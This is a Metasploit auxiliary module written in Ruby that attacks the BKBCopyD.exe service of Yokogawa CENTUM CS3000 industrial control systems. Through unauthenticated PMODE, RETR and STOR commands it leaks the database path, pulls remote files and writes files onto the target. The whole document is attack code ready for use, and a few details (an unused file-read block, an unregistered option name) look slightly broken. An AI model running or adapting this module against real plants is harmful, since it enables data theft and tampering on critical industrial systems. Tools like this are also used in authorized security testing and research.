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require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Yokogawa BKBCopyD.exe Client',
'Description' => %q{
This module allows an unauthenticated user to interact with the Yokogawa
CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR
operations.
},
'Author' =>
[ 'Unknown' ],
'References' =>
[
],
'Actions' =>
[
['PMODE', { 'Description' => 'Leak the current database' }],
['RETR', { 'Description' => 'Retrieve remote file' }],
['STOR', { 'Description' => 'Store remote file' }]
],
'DisclosureDate' => 'Aug 9 2014',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(20111),
OptString.new('RPATH', [ false, 'The Remote Path (required to RETR and STOR)', "" ]),
OptPath.new('LPATH', [ false, 'The Local Path (required to STOR)' ])
], self.class)
end
def srvport
@srvport
end
def run
exploit
end
def exploit
@srvport = rand(1024..65535)
print_status("#{@srvport}")
case action.name
when 'PMODE'
print_status("Sending PMODE packet...")
data = "PMODE MR_DBPATH\n"
res = send_pkt(data)
if res and res =~ /^210/
print_good("Success: #{res}")
else
print_error("Failed...")
end
return
when 'RETR'
data = "RETR #{datastore['RPATH']}\n"
print_status("Sending RETR packet...")
res = send_pkt(data)
return unless res and res =~ /^150/
when 'STOR'
data = "STOR #{datastore['RPATH']}\n"
print_status("Sending STOR packet...")
res = send_pkt(data)
return unless res and res =~ /^150/
else
print_error("Incorrect action")
return
end
super
end
def send_pkt(data)
connect(true, {'CPORT' => @srvport})
sock.put(data)
data = sock.get_once
disconnect
return data
end
def valid_response?(data)
return false unless !!data
return false unless data =~ /500 'yyparse error': command not understood/
return true
end
def on_client_connect(c)
if action.name == 'STOR'
contents = ""
File.new(datastore['LPATH'], "rb") { |f| contents = f.read }
print_status("#{c.peerhost} - Sending data...")
c.put(contents)
self.service.close
self.service.stop
end
end
def on_client_data(c)
print_status("#{c.peerhost} - Getting data...")
data = c.get_once
return unless data
if @store_path.blank?
@store_path = store_loot("yokogawa.cs3000.file", "application/octet-stream", rhost, data, datastore['PATH'])
print_good("#{@store_path} saved!")
else
File.open(@store_path, "ab") { |f| f.write(data) }
print_good("More data on #{@store_path}")
end
end
def on_client_close(c)
stop_service
end
end
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